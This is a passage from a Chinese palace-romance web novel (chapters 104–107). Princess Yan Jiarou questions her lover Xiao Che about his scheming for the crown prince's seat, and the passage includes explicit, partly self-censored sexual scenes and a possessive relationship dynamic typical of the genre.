颜嘉柔只觉喉咙发涩,摇头道:“不会的……萧彻和二哥的感情那么好,他不会害他的……二哥与你素来不合,会设计害你,也不奇怪,怎么能说跟萧彻有关呢?” 萧珏闻言冷笑道:“你不过跟他睡了几次,又怎知他的本性如何?眼下又何必急着维护他,免得日后打脸。” “何止我 坠马一案与他有关,便是淮州萧衍杀人一事,恐怕也是他的手笔。让萧衍背上人命,不但可以让他可以再无翻身的可能,还能用他的荒唐无度、草菅人命,来更加反衬他在淮州的功绩,一箭双雕,可不正是我那三弟一贯的手段?” “不,不会的……太子哥哥,你说这些,也并没有证据……” “证据,我亲耳听到的,需要什么证据?那日在大牢中,萧彻为了让萧衍做个明白鬼,亲口对他说的,我就藏在暗处,听得一清二楚。” “你若非要证据,我眼下确实给不了你,可是嘉柔,时间会证明一切,你且看着吧,萧彻迟早会露出真面目的,你若实在等不及,不如回去问问,他究竟对那个位子有没有兴趣?” “至于你,你以为他真的喜欢你吗?你和萧衍一样,不过是他上位路上的一块踏脚石,他知道我喜欢你,知道你对我何其重要,几乎是我的精神支柱,所以便故意勾引你,从我身边将你夺走,好彻底摧垮我的心智,逼我出错,他再捉住我的错处大做文章,让我落得和萧衍一样的下场,届时他便可以取而代之了。” “不然你以为他真的能喜欢你吗?你能给他什么?嘉柔,你虽贵为公主,可是说穿了,不过是个孤女而已,背后并无支撑,你什么都给不了他,他要想做到那个位置,便需要别的助力,于他而言,最省力气的,就是利用女人。” “你该知道崔令颐是何种身份吧?那你又知不知道,她喜欢的人,其实一直都是萧彻,原先不过是碍于他的兰陵血脉所以才一边喜欢他却又一边瞧不上他,可如今血脉争议已经洗清,甚至于如今他在朝堂上炙手可热,极有可能取代我成为下一任储君,而崔家又向来只跟未来天子联姻,那么你觉得,她会不会再去找上萧彻呢?” “她是崔氏嫡女,背后有崔守阶、有整个崔家作为依仗,萧彻只要娶了她,便可以省去许多力气。” “你觉得,他会选你,还是选她?” 第105章 第105章“颜颜,过来。”…… 秋风萧瑟,远处宫檐下的铜铃在风中叮铃作响。 明明只是入秋的天气,可秋风拂在她身上,她却觉得有几分冷意。 她轻轻颤动着唇瓣,听见自己的声音在秋风中涩然地响起:“不,不会的,他说过他只喜欢我,他不会娶旁的女子的……” 萧珏冷哼道:“喜欢?不过是利用而已。他喜欢的,只有储君之位。何况男人在床笫之间的话,向来做不得准,你又岂可尽信?” “他之前对萧衍难道不是手足情深?可为了储君之位,连他都可以设计陷害,你说,还有什么是真的呢?” “不!”颜嘉柔猛地抬起头,直直地看向他。 她性子一向软,几乎从不会反驳萧珏,鲜少有这么强硬的时候:“二哥不是他害的,萧彻不会这么做,他也不可能害你,你和二哥向来不和,他会设计害你也并不奇怪,为什么要把这件事怪罪到萧彻的身上?” 萧珏冷笑道:“你便这般信他?你真的了解他吗?他可曾与你说过他的计划,他的野心?恐怕什么都没有吧?” “你在他眼里,也不过是个蠢笨天真,空有一身皮囊的美丽玩物而已,他将你夺过来,一则用来摧垮我的心智,二来拿你解闷逗趣。他与你只有床笫之欢,从未有过真正的交心,你对他在朝堂上的动作,一无所知,我说的,不错吧?” 颜嘉柔眼睫轻颤,有些无措地咬紧了唇瓣,一张小脸顿时变得苍白。 萧珏看了她一眼:“嘉柔,我说的这些都是我亲耳听见,难道我会骗你?从小到大,太子哥哥几时骗过你?” “而我的那位三弟,你才与他好了多久?便这般信他么?” “你总问我要证据,我眼下确实没有,可这事我已经从头到尾与你分析过了,不管如何,事实摆在眼前,如今萧彻成了最大的受益者,难道还不足以说明一切吗?” “淮州之行想必你与他一直形影不离,若你非要所谓的证据,不妨仔细回想一下,那段时间他有没有露出一些蛛丝马迹?” 颜嘉柔一怔,脑海中不由得闪现那日他们缠绵过后,她精疲力尽地睡去,半梦半醒间,听到萧彻与薛止的一番对话。 那是萧彻为了帮萧衍摆平杀人一事而吩咐薛止去崔家说的一番话,可彼时颜嘉柔听着听着,却觉出几分不对。 他既是为了帮萧衍摆平那事,可听他与薛止的对话,那一番说辞,怎么听起来非但没有赔罪之意,反而隐隐有激怒之嫌? 只是她太相信萧彻了,从未深想。 还有萧珏说的“姜嫣、贾唯”这两个这几日与萧彻紧密相关的人物,为什么她会觉得眼熟? 仿佛之前就在哪里见过这两个人的名字?姜嫣也就罢了,她是后妃,她似乎从前便知道她,可贾唯是前朝的官员,她怎么会听过他的名字? 她对朝堂之事,可是一向都不关心的。 何况贾唯还是个位阶并不高的寒门官员,她怎么会知道他呢? 她隐隐觉得她之所以会觉得这两个人熟悉,或许与萧彻有关。 可待要细想,却又一时理不出头绪。 她晃了晃脑袋,本能地想要去回避这件事,或许只是她想多了,这两个人与萧彻并没有什么关联,至于淮州的事,她半梦半醒之间,意识本就不清醒,那会儿听来的东西又怎么能当真呢? 想到这里,她像是做了某种决定,抬头望向萧珏,语气从未有过的坚定:“太子哥哥,你不要再说了,无论你说什么,我都是不会信的。我爱三哥,自然要信他。我答应过他,无论发生什么事,都要相信他,绝不受旁人的挑拨。” 萧珏闻言神情终于出现了裂缝:“旁人?挑拨?谁是旁人?谁在挑拨?” 他握住她的肩头,俯身逼近她道:“怎么?我们青梅竹马,互许终身那么多年,现在我倒成了旁人了?那谁不是旁人,萧彻吗?你倒跟他成了一体了!” 颜嘉柔仰起一张小脸,轻轻蹙起眉尖:“太子哥哥,你们两个,我当然都想相信,可是你说萧彻从头到尾只是利用我和二哥,且害了你,我是不信的。他不是这种为了达成目的不择手段的人。我知道我并不聪明,很多事情分辨不了,但我知道,我既然答应了萧彻要相信他,就要做到。” “他说他喜欢我。他每次这么说,我都好开心,所以我愿意相信他,我也想相信他,我相信他对我是真心的,他是喜欢我的。” 萧珏收紧了手指,咬牙道:“我看你真是被他灌了迷魂汤,昏了头了!” “醒醒,嘉柔,你是因为得了怪病才会如此,并非真的喜欢他!” 萧珏说着深吸了一口气,竭力按**内疯狂滋长的戾气。 他意识到这样根本解决不了问题,必须冷静下来。 “嘉柔,”再开口时,他的情绪已经平稳了许多,声音温柔,仿佛又变回了昔日那个温润的太子:“我知道,你现在只 是暂时被他迷惑了,究其原因,还是怪病作祟,你放心,之前你说的那个哑医,我已经快要掌握他的行踪了,很快,很快我就能帮你治好这个病,届时,你一定会清醒过来的。” “你现在不相信我没关系,我还是那句话,时间会证明一切,到时候,你自然什么都明白了。” “我已经想通了,我如今并不介意你和他有什么,”他温柔地抚上她的脸颊,语气缱绻地道:“我的嘉柔不过是病了,需要他治病罢了,我不将他看做一个男人,只将他看做是一味药,等到你的病治愈了,自然便可以将他一脚踢开,我就当做什么事都没有发生过,依然过我们的恩爱日子,你说好不好?” 颜嘉柔微微蹙眉,神色复杂地看着他,到底没说什么,只道:“太子哥哥,我总是希望你好的,你要好好养病,有什么事,等你痊愈后再说。” 她说完就想要回去,她现在心里乱得很,亟需一个人好好冷静一下。 不料才刚转身,萧珏忽然从身后叫住了她。 “嘉柔,” 他的声音在风中显得有几分飘渺:“说起来,对萧彻想抢走我太子之位一事,你真的,毫无感觉么?” 颜嘉柔一怔,片刻后,只轻轻地道:“他不会的。太子之位,从来都是太子哥哥你的。” “可倘若,他果真也属意这个位子呢?别忘了,他如今已洗清了血脉争议,也有资格夺嫡了——倘若他真的有这个意思,嘉柔,你会偏帮谁?” 颜嘉柔缓缓攥紧了手心,心中已然成了一团乱麻:“太子哥哥,”她道:“我自然希望,你能稳坐着太子之位。”她已经选择了萧彻,她不希望萧珏连太子之位也终将失去。 “好,嘉柔,有你这句话,我便安心了。” 他勾起唇角,眸中渐渐闪现出一种奇异的光芒:“你放心,我的东西,旁人抢不走。不管是你,还是太子之位。” “狗逼急了也能跳墙,他们当真以为我会任人鱼肉,坐以待毙吗?呵。” “至于你,嘉柔,”他在她身后幽幽地道:“如果你已经有所怀疑,那就去问问萧彻吧。” 颜嘉柔身子蓦地一僵。 从长乐门离开后,颜嘉柔漫无目的地走在宫道上,脑中反反复复地回荡着萧珏之前说的那一句话—— “如果你已经有所怀疑,那就去问问萧彻吧。” …… 再回过神来时,竟已不知不觉地走到含光殿门口。 她站在殿门前,攥着的手心松开后复又攥紧,这般踌躇了半晌,到底还是走了进去。 薛止将她领到书房时,萧彻正在与燕骁议事。 她本来想走,但无奈萧彻耳力过人,已然听到了动静:“谁?” 颜嘉柔无法,只得硬着头皮走了进去:“……三哥,是我。” 萧彻抬头,眼底立刻蓄上笑意:“颜颜?” 她讷讷地道:“我……我也没什么要紧的事,若是你还有正事要忙,我待会儿再过来。” 燕骁这时也转过头来,上下打量了她一眼,唇边漫上一点揶揄的笑意:“是小公主啊。” 颜嘉柔对不熟悉的人多少有点害羞,只略一颔首道:“……燕小将军。” 萧彻这时转头看向燕骁,手指轻叩了桌沿:“好了,要说的也差不多说完了,你先回去吧。” 燕骁一愣,不可置信地看着他:“……不是,人小公主一来,你就赶我走啊。” “我说萧闻祈,”他简直要被气笑了:“见色忘义这四个字,可算是被你学了个十成十。” 萧彻:“不然呢,难不成你比我心肝还重要?” 他扯了唇角,懒散地一掀眼皮:“行了,别自取其辱了。” “好你个萧闻祈,你下回有事可别找我。”燕骁佯装生气地握拳撞了他一下:“行了,不打扰你们兄妹叙旧、柔情蜜意了,我走了。” 说完绕过桌案朝门口走去,在经过颜嘉柔身边时,却忽然停了下来,嬉皮笑脸地说了句:“嫂子好。” 颜嘉柔怔了一下,有些无措地眨了眨眼,脸颊肉眼可见地染上绯红,嗫嚅了半天,不知道说什么,只好回了一句:“唔……燕小将军也好。” 燕骁呆了片刻,忽然噗嗤一声笑了出来:“小公主,你怎么这么可爱啊。”别说,小公主长得白白软软的,对着生人带着一种天然的胆怯,又那么容易害羞,还真像是小兔子。 他有心想再跟她调笑几句,那边萧彻已经坐不住了,随手摸了一方砚台便向他砸了过去:“行了,不准逗她,快滚。” 燕骁侧身一躲,讪讪地笑道:“行行行,我走,你的心肝,我可连话都不敢再讲了。” 说完便摸了摸鼻子出去了,边走边忍不住在心底腹诽:萧闻祈这个人,心眼也忒小了点。 他简直把颜嘉柔当做眼珠子一般,说实在的,是个男人的醋就吃,至于吗。 这般想着,便在出门时忿忿地把门带上了。 “砰”得一声响后,房间内便只剩萧彻与颜嘉柔两个人。 萧彻屈起手指,轻叩着桌面,唇边渐渐漾开一点笑意:“颜颜,” 他道:“过来。” 第106章 第106章“祖宗,怎么这么爱哭…… 颜嘉柔低头绞着手指,抿了抿唇,慢慢地挪腾了过去。 等走至萧彻身边时,刚要开口,却被他一把拽至怀里。 他让她坐在他的腿上,一只手臂从身后暧日未地勾住她的细腰,手掌缓缓游走在腰际,他将下颌枕在她的肩上,轻轻蹭着她的脸颊:“颜颜,找我有事?” “我……”颜嘉柔尚未想好究竟要不要问萧彻关于今日朝堂上的事,以及萧珏对他的那些怀疑,倘若要问的话,又该怎么开口? 便只能低低地道:“我其实,也没什么事……” “哦?没什么事,却要来找我……”萧彻:“想我了?” 颜嘉柔一时也想不出别的借口,只好点了点头,轻轻地“嗯”了一声。 萧彻轻笑了声,将她的脸扳了过来,掐着她的下巴,问:“想我哪儿啊?有多想?” “我……” 颜嘉柔轻轻蹙眉,她原本便是胡乱应的,如今心里又乱得很,哪里能沉得下心来想答案,况且萧彻的这种问题,让人怎么答……便只能低着头不作声。 “怎么?”萧彻挑眉:“不说?” 他唇边噙着一丝玩味的笑:“那就只能让我来检查一下了。” 颜嘉柔还尚未反应过来他说的“检查一下”是什么意思,身子便骤然腾空。 萧彻将桌案上的一应物品扫到一边,掐着颜嘉柔的腰肢,将她放坐在桌案上。 颜嘉柔娇呼一声:“哥哥,你做什么……” 萧彻低笑了声,手指悬停在她胸前的系绳上:“你说呢?” 她今日穿了一身齐胸襦裙,系带在胸前打结,解开绳结后,两片襦裙便会松散开来,之后松开裙腰,便能褪下整条裙子。 也就是说,解开绳结是褪下襦裙的第一步。 此刻萧彻手指悬停在系列,意味不言而喻。 颜嘉柔雪白的耳垂染上胭脂色,赧然道:“别……现在是白日,而且是在含光殿……” 萧彻双手撑在腰际两侧,俯身逼近了她,唇边含着若有似无的笑意,玩味道:“白日怎么?含光殿又怎么?” “白日不正好宣//。淫,否则怎么叫白日宣//。淫呢?” “至于含光殿,承欢殿都做过了,还差一个含光殿么?” “宝宝,都叫含光殿了,便总要含着什么东西才好。” 他的拇指揉按着她樱//。红的唇瓣,微微往里探进了些许,哑声道:“你想上面这张嘴含着,还是下面……” 颜嘉柔胸口微微起伏,呼吸有些乱,白腻的脸颊浮着一层薄粉,别过脸道:“白日宣//。淫哪是这么用的,你……你总是这么多歪理,便是欺负我不聪明,没读过多少书,所以故意戏弄我 ……我不想理你了……” 萧彻凑上去亲了亲她,含混地笑了声:“宝宝不理也行,乖乖的,别动。” 话音刚落,颜嘉柔便感觉身上一松,低头一看,系带已经被解开,萧彻正慢条斯理地剥脱着她的襦裙,等她反应过来,身上便只剩下一件小衣,堪堪遮住呼之欲出的霜汝。 肌肤暴露在空气中,激起一阵细微的……,如今虽然并非数九寒天,但到底入了秋,空中裹挟着凉意,她忍不住瑟缩了一下,下意识地往萧彻的怀里靠:“呜,哥哥……” 萧彻轻抚着她的身体,白腻匀称的皮肉宛如牛乳一般,手感极佳:“皇妹这是在,投怀送抱?” 颜嘉柔抬头嗔了他一眼:“……还不是你。了我的襦裙,才害我觉得冷……” “我的错,”萧彻低头,亲吻了她的额头,意味深长地道:“这就向皇妹好好赔罪。” 话音刚落,他的手便划过她身前……全删…… 颜嘉柔浓长的眼睫忽然颤动得厉害,像是雨后栖息在枝头的蝴蝶。 一双黑白分明的眼眸渐渐氤氲上水汽,眼尾泛红,眸光却开始失焦。 她伏靠在萧彻的怀里,紧紧攥着他的腰带,呼吸变得极蹙,口中一遍遍叫着他的名字:“萧彻,萧闻祈……呃……” 不过片刻,一切动静便又悉数湮没。 颜嘉柔依偎在萧彻的胸口,娇弱无力地喘xi着。 萧彻收回了手,研磨着指尖那点晶莹,缓缓勾起了唇:“检查过了——看来宝宝,是真的很想我。” 颜嘉柔眼睫轻颤,始知萧彻说的“检查”,原来是这样的检查…… 一时只觉脸上更烫了,将脸深深地埋了进去,只不愿见人。 萧彻却抱起她放在了案桌上,缓缓覆了上去:“皇妹既然这么想我,我自然也应该有所表示才是。” 他牵起唇角,哑声道:“小兔,这回可是你自己送上门来的。” …… 案桌摇晃得厉害,眼尾被灭顶的块淦催逼地溢出泪水,颜嘉柔紧紧捂着嘴巴,防止泄露出一点声音,唯恐被殿外走动的宫人听到动静。 萧彻按着她糙侬了好几回,眼见颜嘉柔又要晕过去,这才终于放开了她。 颜嘉柔濒死之际,忽然回想起之前萧珏对她说的那句“你若再这么放纵,迟早有一天要被萧彻弄死在床上”,之前总觉危言耸听,现在看来,还真未必。 萧彻显然还未尽兴,可她已经吃不消了。 结束之后,萧彻把宛如一滩烂泥的颜嘉柔拥入怀中,亲昵地蹭着她,时不时地亲亲她的耳廓、脸颊,所骨,他依然让她坐在他的褪尚,却并未从她审题里撤出去。 颜嘉柔快哭了。 兰陵人精力可怖,萧彻心里清楚,十个颜嘉柔也未必满足得了他的胃口。 可有什么办法呢。 小兔只有一个。 谁让他这么喜欢她,也喜欢她。 只有一个小兔的话,他便只能折腾她,却又不敢太放肆,颜嘉柔自小娇惯着长大,跟个瓷娃娃似得,他怕一不留神,把唯一的小兔也给弄坏了。 到时候找哪个赔他去? 他喜欢和颜嘉柔做这种事,除了一看到她便情难自禁,想带着她一同奔赴及勒之外,还有一个原因,便是只有在那种时刻,他参麦在她提馁,你中有我,我中有你,才能够真真切切地感受到她是属于他的。 只属于他。 他将下颌枕在她的颈侧,鼻端嗅闻着属于她的气息,享受着两人此刻的温存。 颜嘉柔感觉萧彻这会儿的心情应该不错。 ……想也是,每次欺负完她之后,他的心情都会很好。 倘若他现在心情不错,那她即便说错了什么话,他应该……也不会跟她计较吧? 既如此,之前的那个念头又从心底幽幽浮了上来。 或许她可以趁着这个机会,问萧彻一些她想要知道的事情。 她从萧彻的怀里稍稍探出一点脑袋,无意间瞥见桌案上一片狼藉,上面流淌着一大滩暧日未水渍,正泛着银靡的水光。 她脸上一烫,连忙移开视线,余光却瞥见先前被萧彻扫到一边的卷宗、信函之类,耳边忽然又响起萧珏之前的那一番话—— “你真的了解他吗?你知道他的计划,他的野心吗?他恐怕,什么都没告诉过你吧?” “他与你只有床笫之欢,从未有过真正的交心,你对他在朝堂上的动作,一无所知,我说的,不错吧?” “他不过是拿你逗趣解闷罢了,你在他眼里,也不过就是一件玩物。” 颜嘉柔慢慢蹙起了眉心。 是啊,萧彻每次见到她,都只会与她做这种事,压着她泄谷欠,抑或是逗弄她就像逗弄猫儿狗儿一样,拿她解闷,倘若他真的有夺嫡之心,又是真心喜欢她,为什么从来都不告诉她,他的计划呢?” 难道真如萧珏所言,他对她只是一时兴起,从头到尾,不过是将她当做一件玩物? 不,倘若是如此,他怎么会想一心求娶她? 她答应过他,要相信他的,不能这么随便怀疑他…… 她紧紧攥着手心,正天人交战时,萧彻忽然凑了上来,轻轻舔吻着她的耳垂:“想什么呢小兔,嗯?” “我……”颜嘉柔抬头看向那些被萧彻扫至一旁的公文信函,犹豫了片刻,试探地伸出了手:“萧彻,你平日里在书房都在看什么,我可以看看吗?” 只是她的手才伸至半空,还未触及到那些信函时,斜刺里便伸出来一只宽大的手掌,完全包裹了她的手,将她的手又一并收了回去。 “看那些东西做什么,枯燥无味得很,”萧彻低头亲吻了她的手背,抬头看向他,微微一笑,一贯的俊美摄人:“看我不好么?” 颜嘉柔一愣,这回却没有轻易地被美色所惑。 只因这样的招数,记忆中他用过不止一次了。 每次想转移她的注意力时,便对着她笑,让她看他。 他知道她一旦看呆了,便什么都忘了。 可这次不一样。 萧彻越是想转移她的注意力,越是印证了萧珏的那番话。 可她不想这样这样恶意地揣度她喜欢的人,她想要相信他,那么她就要问清楚。 她低着头,轻轻拨弄着手指,片刻后闭了闭眼,像是做了某种决定,终于嗫嚅着开了口: “萧彻,今早在朝堂上的事,我听说了。” 萧彻眉尾几不可察地动了一下,沉吟片刻,随后依旧用一种玩笑的语气稀松平常地问:“哦?我们颜颜什么时候,也开始关心起朝堂上的事了?” “我并不关心朝堂上的事,”颜嘉柔抬头,目光灼灼地看向他:“我只是,想关心你。” “关心我?”萧彻意味不明地笑了下,按在她腰间的手掌缓缓往上游移,哑声道:“那你往后多来含光殿走动,便能好好关心我了。” 颜嘉柔强忍着身上被萧彻的指尖勾起的一阵阵缠li,正色道: “萧彻,我是认真的……你为什么,只知道这个……” 萧彻顿了一下,凑过去亲了亲她,柔声哄道:“怎么了,宝宝?” “我……”颜嘉柔面色潮红,拿下了萧彻拢在她身前的手,稍稍平复了一下,这才抬起头,看着他道:“我听说,今日在朝堂上,你已洗清了血脉争议,原来姜妃才是你的母妃,是么?” 萧彻神色微动,滚动了一下喉结,只道:“谁是我的母妃,这很重要么?小孩子家家的,操心那么多做什么?” “我不是小孩子了!”颜嘉柔胸月甫上下起伏着,蹙眉道:“你为什么……什么都不跟我说呢?” 萧彻脸上神色有片刻的凝滞,但很快又恢复如常,淡笑道:“我也是今早在朝堂上才知道的,你让我怎么跟你说呢?” “你……你没有事先得知么?我以为,是你安排的……你怎么可能不是兰陵人呢,你生成这样,而且你……” “我怎么?颜颜,你不觉得我的容貌,长得与姜嫣也有几分相似么?至于擅骑射之类,抑或是别的过人之处,其实,也未必非要兰陵人才能做到,不是么?” 颜嘉柔愣了一下:“我……” 萧彻说的,好像也确然有几分道理。 难道,真的都只是巧合? 她又想起了萧珏对她说的那句:“倘若你等不及,不如回去问问,他对那个位子,究竟有没有兴趣?” 是啊,这个问题才是关键,倘若他无意争夺皇位,那旁的事,自然也决不会是他做的了。 想到这里,她抿了抿唇,抬眸直直地看向他道:“萧彻,我想问你,你有肖想过那储君之位么?” 萧彻 倏地抬眸,一瞬不瞬地看着颜嘉柔,漂亮的茶色瞳仁有异光流动,有意外,也有意外过后的思忖。 一室寂静。 桌案上点着乌沉香,残香在香炉里蜷成灰白的蛇,白烟从狻猊口中漫出来,袅袅飘散在两人之间。 隔着飘渺的烟雾,萧彻俊美冶丽的一张脸显得愈发不真切。 “小兔,”他突然笑了一下,声音渺若尘烟:“想不想当皇后?” 颜嘉柔咯噔了一声,一颗心直直地往下坠。 她想,完了,他想当储君。 脑海中浮现的第一个念头是:那萧珏该怎么办? 她心中这么想,居然也真的问出了口:“可是那是太子哥哥的……你怎么能?” 话音刚落,她便眼见着萧彻的一张脸倏地变得冷沉。 “怎么,皇妹以为,这储君之位,只有萧珏能坐得,我不配吗?还是你跟其他人一样,认为我生来卑贱?!” “我……我不是这个意思,只是这太子之位原本便是萧珏的,你若肖想,岂不是要从他手中硬夺么?” “那又如何?这储君之位,本就是谋夺而得。难道萧珏一日是太子,便该终身是太子么?我同样是父皇的皇子,哪样不如他?何况他如今已成了废人,这世上便没有阉人还能做储君的道理。” “萧衍被废,萧珏成了废人,难道我不该碰这储君之位,这储君之位,原本便该是我的。”他眸底有一种近乎病态地占有欲,一字一顿地道:“就像你一样,只能是我的。” “我自然是你的,”颜嘉柔攀上萧彻的胳膊,急急地道:“可是萧彻,太子哥哥已经很可怜了,我那么喜欢你,肯定是不会回到他身边了,他伤到了要害,我又离开了他,若是再丢了太子之位,我怕……我怕会不会对他太残忍……” 听到小兔说喜欢他,萧彻的脸色终于缓和了一些,声音也跟着软了下来:“傻子,我若是对他不残忍,他继了位,难道我还能落得什么好下场?他又会允许你留在我身边么?” 他道:“他只会把你从我身边抢走。” “不会的,太子哥哥性子温和,他不会……” 话说到一半,她却蹙眉停了下来,记忆中的萧珏的确一向温润如玉,可是这段时间以来,不知是不是接二连三的打击刺激到了他,他性情的确变了许多,有时十分怪戾,且总是信誓旦旦地说是一定会让她回到他身边……若真像萧彻所说,他不是一时的放不下,而是一直图谋让她离开萧彻。 那等他一上位,第一件做的事不就是这个吗? 那可不行! 这个世上,没有人能把她和萧彻分开。 萧彻见她神情已有所松动,抬手抚上她的脸颊,深看了她一眼道:“颜颜,你若真心喜欢我,就应该站在我这一边,想我之所想,愿我之所愿,我是你的夫君,我们才是一体,从前你和萧珏再如何要好,你既选了我,他便是外人,你不可以偏帮外人,知道吗?” 颜嘉柔懵懂地点了点头。 她想萧彻和萧珏之间,如果非要做一个选择,她自然只能选萧彻。 她自我反省了一下,觉得萧彻说的对。 她不能总是为了萧珏伤他的心,他如果想要那个位子,她也不能为了不伤害萧珏而拦着他。 就算真的有所偏心,她也应该偏心萧彻才对。 想通这一层后,她抬头看向萧彻,温熱柔软的掌心轻轻捧起他的脸,眼神从未有过的坚定:“萧彻,你很好,你哪里都很好。你没有哪一点不如太子哥哥。不管是从前还是现在,不管你是贵妃之子还是姜妃之子,不管你是魏人还是兰陵人,我从来没有觉得你卑贱,人的高贵还是卑贱,也绝不是只因血脉而定。” “我只知道我喜欢你,就要尊重你的心意,支持你的决定,与你共进退,所以如果你想争夺储君之位的话,我也不再拦你。” 她捧着他的脸,在他唇上虔诚地烙下一吻:“哥哥,我愿意陪着你。” 萧彻一时怔然地望着她,似乎没料到颜嘉柔会突然说出这样一番话,茶色的眼瞳陡然变得明亮,眉眼淌过一段欢喜之色:“颜颜……” 仿佛春溪破冰,一股热流自心底涌起,一颗心仿佛浸在春日里消融的雪水中,带着一丝温润,却又隐隐透着灼热,令人心神微颤。 颜嘉柔乖顺地依偎在他怀里,双臂缠上他的腰身,蹭了蹭他的胸口:“只是有一点,我那么相信你,你可千万别骗我……” 萧彻揉着她的发顶,轻笑了声:“我什么时候骗过你?” “那……萧珏坠马之事,还有二哥被废,全都与你无关么?” 萧彻动作一顿。 他滚动了一下喉结,平静渺然地道—— “萧珏坠马是萧衍所为,萧衍被废则是东窗事发,回天无力,与我何干。” 颜嘉柔登时松了一口气,又问道:“那……你往后会娶别的女人么?比如那个崔令颐……”问出这句话的时候,颜嘉柔只觉心脏处一阵闷闷的疼,一想到有这种可能,她就觉得难过得快要死掉了。 萧彻却像是听到了什么笑话,屈指敲了一下她的额头道:“你在想什么呢小兔?我和崔令颐?这都哪跟哪儿?是那个眼高于顶,崔氏嫡出的那个崔大小姐?” 回想起崔令颐,忍不住嗤了一声:“也不知道我到底哪里招惹她了,连见到她什么都不说,也像是有罪。呵,她每回见到我,都要不阴不阳地刺我几句,她身为崔氏嫡女,出身尊贵,血统高贵,生平最看不上的,就是我这种低贱的兰陵人了。” “……可是你现在,不是已经洗清血脉争议了么?” “那又怎么?总不至于我不是兰陵人了,她就喜欢我了吧?”他漫不在乎地笑了下,低头把玩着她的手指:“何况,我只喜欢你啊,颜颜。” 颜嘉柔抿了抿唇,到底没说崔令颐一直喜欢他,不知道为什么,她便是不想让他知道。 她垂下眼帘,神情有些落寞:“……可是,我没有家族作为依仗,什么都帮不了你……” 萧彻眉梢微动,心疼地笼住她的手,他的小兔也有心事了,他想。 他抬起她的下巴,低头与之对视,漂亮的茶色眼瞳直直地望进她的眼里,极为认真地道:“我从来没想过利用你。” “颜颜,自母妃死后,我便背负了许多。” “你说我什么都不告诉你,可是颜颜,我不想你跟我一样背负这些。这些沉重的东西,由我一个人背负就够了,你只需要跟我一起享受花前月下。” “我只想带给你欢愉和享受,旁的你没必要知道,我想你一直天真单纯,是被我保护得很好的小兔,知道么。” “我自问不是什么君子,我这一辈子,为了达成目的,可以利用很多人,但我永远不会利用你。所以,你什么都不用做,你只要乖乖待在我身边,永远爱我、相信我,便是对我最大的助力了,知道么。” 颜嘉柔怔怔地看着他。 她重新靠回了萧彻的怀里:“哥哥,只要是你说的,我都相信你。” 萧 彻说他不会娶崔令颐,说萧衍和萧珏的事和他没有关系。 他说他不告诉她那么多,不与她交心,只是因为不想让她背负太多。 那么只要他说的,她都相信他。 人往往更倾向于相信她想相信的,何况萧彻是她喜欢的人,似乎没有理由怀疑。 她选择信他。 萧彻翘起唇角,轻轻抚摸着她的发顶:“乖。” “那你要是日后当上了储君,继承了大统,会放过萧珏么?”颜嘉柔抬眸,最后问了他一个问题。 “他再怎么,也是我的兄长,放心,我不做赶尽杀绝之事。起码,我会留他的性命,让他体面地过完这一生。” “那就好,”听到了满意的回答,心中的最后一点顾虑也已经打消,她仰头开心地亲了他一下,甜甜笑道:“哥哥,我知道你心地最好啦。” 其实她的心愿很简单,所有她在意的人都能够好好活着,她能跟心爱的男人长相厮守,她的心上人能够得偿所愿,就足矣啦。 打开心结后,小姑娘心情颇好,坐在他的腿上,双手圈着他的脖子,一眨不眨地看着他,脸上梨涡浅浅,娇憨中又透着一种懵懂的妩媚,愈发勾人,她却浑然不知,两条雪白的腿在半空中晃啊晃。 她看着看着,实在越看越欢喜,便又忍不住亲了上去。 萧彻基本穿戴完好,可小兔却是未着寸缕,偏偏她还不知死活地又来撩拨他,便又点着了火。更何况他的东西,一直都未曾撤出去。 他掐住她的细腰,另一只手抬起了她的下巴,唇边噙了抹:“你方才说,你身后没有家族作为依仗,帮不了我,听你话中的语气,倒像是有些过意不去?” 颜嘉柔轻颤了一下眼睫,情绪肉眼可见的变得低落:“是……对不起哥哥,我不像崔令颐那样,有显赫的家世,我虽贵为公主,可不过是空有名号罢了,既无实权,也无依仗,甚至连寻常的贵女都不如……你随便娶一个贵女,都比我能够帮到你……我也不聪明,不能为你出谋划策,我什么都帮不了你……” 说着说着,嗓音已经染上了哭腔,她本来就容易哭,眼圈瞬间泛了红,话音刚落,泪珠便已吧嗒吧嗒掉下来。 萧彻几乎瞬间就后悔了。 不过是想逗逗小兔,怎么又把人惹哭了? 他凑上去舔吻她的泪滴,连忙哄她道:“好了,宝宝,别说对不起,不是说了,我不需要你为我做这些。” “你肯爱我,便已是对我天大的恩赐。” “不许再妄自菲薄,知道么?” 小姑娘点了点头,乖乖地止住了泪水,只一双眼睛仍旧红彤彤的,正可怜兮兮地看着他,像极了受欺负的小兔。 萧彻“啧”了一声,拇指摩挲着她红润的唇瓣,喉间滚出低哑笑意,无奈中又透着点宠溺:“祖宗,怎么这么爱哭啊。” “往后不许再哭了。” “我不喜欢见你哭,知道吗?” 他说着附耳过去,热息呵在她的颈侧,尾调缱//。绻:“要哭,也只能在榻上哭。” 小姑娘红着脸点了点头,软糯地“嗯”了一声。 萧彻唇角翘起:“乖了宝宝,对我愧疚自然不必,不过你若是实在过意不去——” 他话锋一转,掀了眼皮,笑得轻挑而暧日未:“想不想补偿?” “想!”小兔眨了眨眼,一脸天真地问:“可是……怎么补偿呢?” 萧彻忍笑忍得辛苦:“宝宝,怎么上了一百次当,也不会长记性,我们颜颜,到底什么时候能变得聪明一点呢?” 小兔迷茫地看着他:“哥哥……” 萧彻挑眉,收了笑意,眸色渐深,……:“现在,明白了吗?” 小白兔立刻变成了红苹果,颜嘉柔将脸埋进了他的怀里,不肯见人。 萧彻拍了拍她的……,哑声道:“去榻上……全删” 小兔红着脸乖乖照做,微微川西……全删……,娇弱地叫着:“哥哥……” …… 夜色漫过含光殿的琉璃瓦,檐下铜铃忽地一颤,惊碎了满殿檀香。 殿内铜雀台衔着烛台,不知过了多久,忽闻灯花毕波之声,烛火跳蹿,隔着重重纱帐,照亮了榻上两道交缠的身影。 一室春情。 二人的这场信任风波,从表面上看,似乎已经过去了。 : 第107章 第107章萧彻,你欠我的,都该…… 东宫内,萧珏正一脸颓唐地坐在软榻上。 眸中迸射出恨意,忽然一发狠,将搁置在桌案上的药碗挥落在地:“废物,都是一帮废物!” 漆黑的药汁混着迸裂的碎瓷飞溅得到处都是,一旁伺候的太监瞬间两股战战,跪了一地。 他只觉烦躁不堪,低斥了声:“滚!”地上的一干宫人便如蒙大赦,连忙屁滚尿流地滚了。 萧珏身子后仰,长长地吁出一口气。 不知为何,滋补的汤药明明已经服用了许多,可身下仍不见起色。 那一坨软肉便如同死物一般,无论怎么刺激,都很难有动静。 